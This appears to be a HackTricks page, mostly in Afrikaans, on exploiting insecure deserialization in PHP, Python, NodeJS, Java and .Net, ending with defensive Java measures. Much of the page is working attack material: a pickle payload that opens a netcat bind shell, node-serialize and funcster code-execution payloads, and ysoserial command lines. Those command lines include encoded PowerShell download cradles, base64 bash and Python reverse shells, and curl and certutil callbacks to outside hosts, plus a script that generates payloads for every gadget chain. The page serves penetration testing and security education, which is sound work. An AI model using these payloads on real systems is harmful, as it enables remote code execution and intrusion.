Deserialization

Ondersteun HackTricks

Basiese Inligting

Serialisering word verstaan as die metode om 'n objek in 'n formaat te omskep wat bewaar kan word, met die bedoeling om óf die objek te stoor óf dit as deel van 'n kommunikasieproses oor te dra. Hierdie tegniek word algemeen gebruik om te verseker dat die objek op 'n later tydstip weer geskep kan word, terwyl sy struktuur en toestand behou word.

Deserialisering, aan die ander kant, is die proses wat serialisering teenwerk. Dit behels die neem van data wat in 'n spesifieke formaat gestruktureer is en dit terug te bou in 'n objek.

Deserialisering kan gevaarlik wees omdat dit potensieel aanvallers toelaat om die geserialiseerde data te manipuleer om skadelike kode uit te voer of om onverwagte gedrag in die toepassing te veroorsaak tydens die objekheropbouproses.

PHP

In PHP word spesifieke magiese metodes gebruik tydens die serialisering en deserialisering prosesse:

  • __sleep: Word aangeroep wanneer 'n objek geserialiseer word. Hierdie metode moet 'n lys van die name van alle eienskappe van die objek wat geserialiseer moet word, teruggee. Dit word algemeen gebruik om hangende data te bevestig of soortgelyke opruimtake uit te voer.

  • __wakeup: Word genoem wanneer 'n objek gedeserialiseer word. Dit word gebruik om enige databasisverbindinge wat tydens serialisering verlore gegaan het, te hersteld en ander herbeginningstake uit te voer.

  • __unserialize: Hierdie metode word in plaas van __wakeup (as dit bestaan) aangeroep wanneer 'n objek gedeserialiseer word. Dit bied meer beheer oor die deserialisering proses in vergelyking met __wakeup.

  • __destruct: Hierdie metode word aangeroep wanneer 'n objek op die punt staan om vernietig te word of wanneer die skrip eindig. Dit word tipies gebruik vir opruimtake, soos om lêerhandvatsels of databasisverbindinge te sluit.

  • __toString: Hierdie metode laat 'n objek toe om as 'n string behandel te word. Dit kan gebruik word om 'n lêer te lees of ander take gebaseer op die funksie-aanroepe binne dit, wat effektief 'n teksuele voorstelling van die objek bied.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

As jy na die resultate kyk, kan jy sien dat die funksies __wakeup en __destruct aangeroep word wanneer die objek gedeserialiseer word. Let daarop dat jy in verskeie tutorials sal vind dat die __toString funksie aangeroep word wanneer daar probeer word om 'n attribuut te druk, maar blykbaar gebeur dit nie meer nie.

Die metode __unserialize(array $data) word in plaas van __wakeup() aangeroep as dit in die klas geïmplementeer is. Dit stel jou in staat om die objek te deserialiseer deur die geserialiseerde data as 'n array te verskaf. Jy kan hierdie metode gebruik om eienskappe te deserialiseer en enige nodige take uit te voer tydens deserialisering.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Jy kan 'n verduidelikte PHP voorbeeld hier lees: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hier https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf of hier https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Klassen

Jy kan die PHP autoload funksionaliteit misbruik om arbitrêre php-lêers en meer te laai:

PHP - Deserialization + Autoload Classes

Serialisering van Verweiste Waardes

As jy om een of ander rede 'n waarde as 'n verwysing na 'n ander waarde wat geserialiseer is wil serialiseer, kan jy:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial vir PHP)

PHPGGC kan jou help om payloads te genereer om PHP deserialisasies te misbruik. Let daarop dat jy in verskeie gevalle nie 'n manier sal kan vind om 'n deserialisasie in die bronnekode van die toepassing te misbruik nie, maar jy mag dalk die kode van eksterne PHP-uitbreidings kan misbruik. So, as jy kan, kyk na die phpinfo() van die bediener en soek op die internet (en selfs op die gadgets van PHPGGC) vir moontlike gadgets wat jy kan misbruik.

phar:// metadata deserialisasie

As jy 'n LFI gevind het wat net die lêer lees en nie die php-kode binne-in uitvoer nie, byvoorbeeld deur funksies soos file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize(). Jy kan probeer om 'n deserialisasie te misbruik wat plaasvind wanneer 'n lêer gelees word met die phar protokol. Vir meer inligting, lees die volgende pos:

phar:// deserialization

Python

Pickle

Wanneer die objek ontpikkel word, sal die funksie __reduce__ uitgevoer word. Wanneer dit misbruik word, kan die bediener 'n fout teruggee.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Voor jy die omseil tegniek nagaan, probeer om print(base64.b64encode(pickle.dumps(P(),2))) te gebruik om 'n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik.

Vir meer inligting oor ontsnapping uit pickle jails kyk:

Bypass Python sandboxes

Yaml & jsonpickle

Die volgende bladsy bied die tegniek aan om 'n onveilige deserialisering in yamls python biblioteke te misbruik en eindig met 'n hulpmiddel wat gebruik kan word om RCE deserialisering payload te genereer vir Pickle, PyYAML, jsonpickle en ruamel.yaml:

Python Yaml Deserialization

Klassifikasie Besoedeling (Python Prototype Besoedeling)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Magiese Funksies

JS het nie "magiese" funksies soos PHP of Python wat net geskep word om 'n objek te genereer nie. Maar dit het 'n paar funksies wat gereeld gebruik word selfs sonder om hulle direk aan te roep soos toString, valueOf, toJSON. As jy 'n deserialisering misbruik kan jy hierdie funksies kompromitteer om ander kode uit te voer (potensieel prototype besoedeling misbruik) en jy kan arbitrêre kode uitvoer wanneer hulle aangeroep word.

Nog 'n "magiese" manier om 'n funksie aan te roep sonder om dit direk aan te roep is deur 'n objek te kompromitteer wat deur 'n async funksie (belofte) teruggegee word. Want, as jy daardie teruggegee objek in 'n ander belofte met 'n eienskap genaamd "then" van tipe funksie transformeer, sal dit uitgevoer word net omdat dit deur 'n ander belofte teruggegee word. Volg hierdie skakel vir meer inligting.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ en prototype besoedeling

As jy meer oor hierdie tegniek wil leer kyk na die volgende tutoriaal:

NodeJS - __proto__ & prototype Pollution

Hierdie biblioteek laat jou toe om funksies te serialiseer. Voorbeeld:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Die serialiseerde objek sal soos volg lyk:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

Soos wat jy in die laaste stuk kode kan sien, as die vlag gevind word word eval gebruik om die funksie te deserialiseer, so basies word gebruikersinvoer binne die eval funksie gebruik.

Egter, net om 'n funksie te serialiseer sal dit nie uitvoer nie aangesien dit nodig sou wees dat 'n deel van die kode y.rce aanroep in ons voorbeeld en dit is hoogs onwaarskynlik. In elk geval, jy kan net die geserialiseerde objek wysig deur 'n paar hakies by te voeg om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word. In die volgende stuk kode let op die laaste hakie en hoe die unserialize funksie die kode outomaties sal uitvoer:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Soos voorheen aangedui, sal hierdie biblioteek die kode na _$$ND_FUNC$$_ kry en dit uitvoer met behulp van eval. Daarom, om kode outomaties uit te voer, kan jy die funksie skepping deel en die laaste haakie verwyder en net 'n JS oneliner uitvoer soos in die volgende voorbeeld:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

U kan hier vind verdere inligting oor hoe om hierdie kwesbaarheid te benut.

'n Opmerklike aspek van funcster is die ontoeganklikheid van standaard ingeboude voorwerpe; hulle val buite die toeganklike omvang. Hierdie beperking voorkom die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos "ReferenceError: console is not defined" wanneer opdragte soos console.log() of require(something) gebruik word.

Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend alle standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hergestel word met die volgende snit:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Vir meer inligting lees hierdie bron.

Die serialize-javascript pakket is eksklusief ontwerp vir serialiseringdoeleindes, en het geen ingeboude deserialisering vermoëns nie. Gebruikers is verantwoordelik om hul eie metode vir deserialisering te implementeer. 'n Direkte gebruik van eval word voorgestel deur die amptelike voorbeeld vir deserialisering van geserialiseerde data:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

As hierdie funksie gebruik word om objekte te deserialiseer, kan jy dit maklik misbruik:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Vir meer inligting lees hierdie bron.

Cryo biblioteek

In die volgende bladsye kan jy inligting vind oor hoe om hierdie biblioteek te misbruik om arbitrêre opdragte uit te voer:

Java - HTTP

In Java, word deserialisering terugroepe uitgevoer tydens die proses van deserialisering. Hierdie uitvoering kan deur aanvallers uitgebuit word wat kwaadwillige payloads saamstel wat hierdie terugroepe aktiveer, wat kan lei tot die potensiële uitvoering van skadelike aksies.

Vingerafdrukke

Wit Bok

Om potensiële serialisering kwesbaarhede in die kodebasis te identifiseer, soek vir:

  • Klasse wat die Serializable-koppelvlak implementeer.

  • Gebruik van java.io.ObjectInputStream, readObject, readUnshare funksies.

Gee ekstra aandag aan:

  • XMLDecoder wat gebruik word met parameters gedefinieer deur eksterne gebruikers.

  • XStream's fromXML metode, veral as die XStream weergawe minder as of gelyk aan 1.46 is, aangesien dit vatbaar is vir serialisering probleme.

  • ObjectInputStream gekoppel aan die readObject metode.

  • Implementering van metodes soos readObject, readObjectNodData, readResolve, of readExternal.

  • ObjectInputStream.readUnshared.

  • Algemene gebruik van Serializable.

Swart Bok

Vir swart bok toetsing, soek vir spesifieke handtekeninge of "Magic Bytes" wat java geserialiseerde objekte aandui (wat afkomstig is van ObjectInputStream):

  • Heksadesimale patroon: AC ED 00 05.

  • Base64 patroon: rO0.

  • HTTP antwoordkoppe met Content-type ingestel op application/x-java-serialized-object.

  • Heksadesimale patroon wat vorige kompressie aandui: 1F 8B 08 00.

  • Base64 patroon wat vorige kompressie aandui: H4sIA.

  • Weblêers met die .faces uitbreiding en die faces.ViewState parameter. Om hierdie patrone in 'n webtoepassing te ontdek, moet dit 'n ondersoek uitlok soos gedetailleerd in die pos oor Java JSF ViewState Deserialisering.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Kontroleer of kwesbaar

As jy wil leer hoe 'n Java Deserialized exploit werk, moet jy kyk na Basic Java Deserialization, Java DNS Deserialization, en CommonsCollection1 Payload.

Witboks Toets

Jy kan kyk of daar enige toepassing geïnstalleer is met bekende kwesbaarhede.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet. You could also use gadgetinspector to search for possible gadget chains that can be exploited. When running gadgetinspector (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won't create an exploit and it may indicate false positives.

Black Box Test

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability. Read this to learn more about GadgetProbe. GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them. Read this to learn more about Java Deserialization Scanner. Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads. You can find more information about Freddy here.

Serialization Test

Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp). If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example). Note that this tool is focused on exploiting ObjectInputStream. I would begin om die "URLDNS" payload voor 'n RCE payload te gebruik om te toets of die inspuiting moontlik is. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Wanneer jy 'n payload vir java.lang.Runtime.exec() skep, kan jy nie spesiale karakters soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei nie, "$()" om opdragte uit te voer of selfs argumente aan 'n opdrag deur spasies geskei te gee (jy kan echo -n "hello world" doen, maar jy kan nie python2 -c 'print "Hello world"' doen nie). Om die payload korrek te kodeer, kan jy hierdie webblad gebruik.

Voel vry om die volgende skrip te gebruik om alle moontlike kode-uitvoering payloads vir Windows en Linux te skep en dit dan op die kwesbare webblad te toets:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Jy kan gebruik https://github.com/pwntester/SerialKillerBypassGadgetCollection saam met ysoserial om meer exploits te skep. Meer inligting oor hierdie hulpmiddel in die skyfies van die praatjie waar die hulpmiddel voorgestel is: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec kan gebruik word om payloads te genereer om verskillende Json en Yml serialisering biblioteke in Java te exploiteer. Om die projek te compileer, moes ek byvoeg hierdie afhangklikhede aan pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installeer maven, en compileer die projek:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Lees meer oor hierdie Java JSON-biblioteek: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Waarom

Java gebruik baie serialisering vir verskeie doeleindes soos:

  • HTTP versoeke: Serialisering word wyd gebruik in die bestuur van parameters, ViewState, koekies, ens.

  • RMI (Remote Method Invocation): Die Java RMI-protokol, wat heeltemal op serialisering staatmaak, is 'n hoeksteen vir afstandkommunikasie in Java-toepassings.

  • RMI oor HTTP: Hierdie metode word algemeen gebruik deur Java-gebaseerde dik kliënt webtoepassings, wat serialisering vir alle objekkommunikasies benut.

  • JMX (Java Management Extensions): JMX benut serialisering om objekten oor die netwerk te stuur.

  • Pasgemaakte Protokolle: In Java is die standaardpraktyk om rou Java-objekte oor te dra, wat in komende eksploitvoorbeelde demonstreer sal word.

Voorkoming

Transient objek

'n Klas wat Serializable implementeer, kan enige objek binne die klas wat nie serialiseerbaar moet wees nie, as transient implementeer. Byvoorbeeld:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Vermyde Serialisering van 'n klas wat Serializable moet implementeer

In scenario's waar sekere objekte die Serializable-koppelvlak moet implementeer weens klas hiërargie, is daar 'n risiko van onbedoelde deserialisering. Om dit te voorkom, verseker dat hierdie objekte nie-deserialiseerbaar is deur 'n final readObject()-metode te definieer wat konsekwent 'n uitsondering gooi, soos hieronder getoon:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Verbetering van Deserialisering Sekuriteit in Java

Aanpassing van java.io.ObjectInputStream is 'n praktiese benadering om deserialisering prosesse te beveilig. Hierdie metode is geskik wanneer:

  • Die deserialisering kode is onder jou beheer.

  • Die klasse wat verwag word vir deserialisering is bekend.

Oorheers die resolveClass() metode om deserialisering tot slegs toegelate klasse te beperk. Dit voorkom deserialisering van enige klas behalwe dié wat eksplisiet toegelaat is, soos in die volgende voorbeeld wat deserialisering tot die Bicycle klas beperk:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Gebruik van 'n Java Agent vir Sekuriteitsverbetering bied 'n terugvaloplossing wanneer kode-modifikasie nie moontlik is nie. Hierdie metode geld hoofsaaklik vir swartlys van skadelike klasse, met 'n JVM parameter:

-javaagent:name-of-agent.jar

Dit bied 'n manier om deserialisering dinamies te beveilig, ideaal vir omgewings waar onmiddellike kodeveranderinge onprakties is.

Kyk na 'n voorbeeld in rO0 deur Contrast Security

Implementering van Serialisering Filters: Java 9 het serialisering filters bekendgestel via die ObjectInputFilter koppelvlak, wat 'n kragtige mekanisme bied om kriteria te spesifiseer waaraan serialiseerde objekte moet voldoen voordat dit gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied.

Om serialisering filters te gebruik, kan jy 'n globale filter stel wat op alle deserialisering operasies van toepassing is of dit dinamies vir spesifieke strome konfigureer. Byvoorbeeld:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Benutting van Eksterne Biblioteke vir Verbeterde Sekuriteit: Biblioteke soos NotSoSerial, jdeserialize, en Kryo bied gevorderde funksies vir die beheer en monitering van Java deserialisering. Hierdie biblioteke kan addisionele lae van sekuriteit bied, soos om klasse te witlys of swartlys, geserialiseerde objek te analiseer voordat deserialisering plaasvind, en om pasgemaakte serialiseringstrategieë te implementeer.

  • NotSoSerial onderskep deserialiseringprosesse om die uitvoering van onbetroubare kode te voorkom.

  • jdeserialize stel die analise van geserialiseerde Java-objekte in staat sonder om hulle te deserialiseer, wat help om potensieel kwaadwillige inhoud te identifiseer.

  • Kryo is 'n alternatiewe serialiseringraamwerk wat fokus op spoed en doeltreffendheid, en bied konfigureerbare serialiseringstrategieë wat sekuriteit kan verbeter.

Verwysings

JNDI Inspuiting & log4Shell

Vind uit wat JNDI Inspuiting is, hoe om dit te misbruik via RMI, CORBA & LDAP en hoe om log4shell te ontgin (en voorbeeld van hierdie kwesbaarheid) op die volgende bladsy:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Boodskapdiens

Die Java Boodskapdiens (JMS) API is 'n Java boodskap-georiënteerde middleware API vir die stuur van boodskappe tussen twee of meer kliënte. Dit is 'n implementering om die produsent-verbruiker probleem te hanteer. JMS is 'n deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie wat by Sun Microsystems ontwikkel is, maar wat sedertdien deur die Java Gemeenskapsproses gelei is. Dit is 'n boodskapstandaard wat aansoekkomponente gebaseer op Java EE toelaat om boodskappe te skep, te stuur, te ontvang en te lees. Dit stel die kommunikasie tussen verskillende komponente van 'n verspreide aansoek in staat om losweg gekoppel, betroubaar en asynchrone te wees. (Van Wikipedia).

Produkte

Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur:

Ontginning

So, basies is daar 'n klomp dienste wat JMS op 'n gevaarlike manier gebruik. Daarom, as jy genoeg regte het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige akrediteer nodig hê) kan jy in staat wees om kwaadwillige geserialiseerde objek te stuur wat deur die verbruiker/subscriber gedeserialiseer sal word. Dit beteken dat in hierdie ontginning al die kliënte wat daardie boodskap gaan gebruik, besmet sal raak.

Jy moet onthou dat selfs al is 'n diens kwesbaar (omdat dit onveilig gebruikersinvoer deserialiseer) jy steeds geldige gadgets moet vind om die kwesbaarheid te ontgin.

Die hulpmiddel JMET is geskep om verbinding te maak en hierdie dienste aan te val deur verskeie kwaadwillige geserialiseerde objek te stuur wat bekende gadgets gebruik. Hierdie ontginnings sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare aansoek is.

Verwysings

.Net

In die konteks van .Net, werk deserialisering ontginnings op 'n manier soortgelyk aan dié wat in Java gevind word, waar gadgets ontgin word om spesifieke kode tydens die deserialisering van 'n objek uit te voer.

Vingerafdruk

WhiteBox

Die bronkode moet ondersoek word vir voorkomste van:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Die fokus moet wees op serialiseerders wat toelaat dat die tipe deur 'n veranderlike onder gebruikersbeheer bepaal word.

BlackBox

Die soektog moet teiken op die Base64-gecodeerde string AAEAAAD///// of enige soortgelyke patroon wat op die bediener-kant gedeserialiseer kan word, wat beheer oor die tipe wat gedeserialiseer moet word, toelaat. Dit kan insluit, maar is nie beperk tot nie, JSON of XML strukture wat TypeObject of $type bevat.

ysoserial.net

In hierdie geval kan jy die hulpmiddel ysoserial.net gebruik om die deserialisering ontginnings te skep. Sodra jy die git-repositori afgelaai het, moet jy die hulpmiddel saamstel met Visual Studio byvoorbeeld.

As jy wil leer oor hoe ysoserial.net sy ontginning skep kan jy hierdie bladsy nagaan waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word.

Die hoofopsies van ysoserial.net is: --gadget, --formatter, --output en --plugin.

  • --gadget word gebruik om die gadget aan te dui wat misbruik gaan word (gee die klas/funksie wat tydens deserialisering misbruik gaan word om opdragte uit te voer).

  • --formatter, word gebruik om die metode aan te dui om die ontginning te serialiseer (jy moet weet watter biblioteek die agterkant gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer)

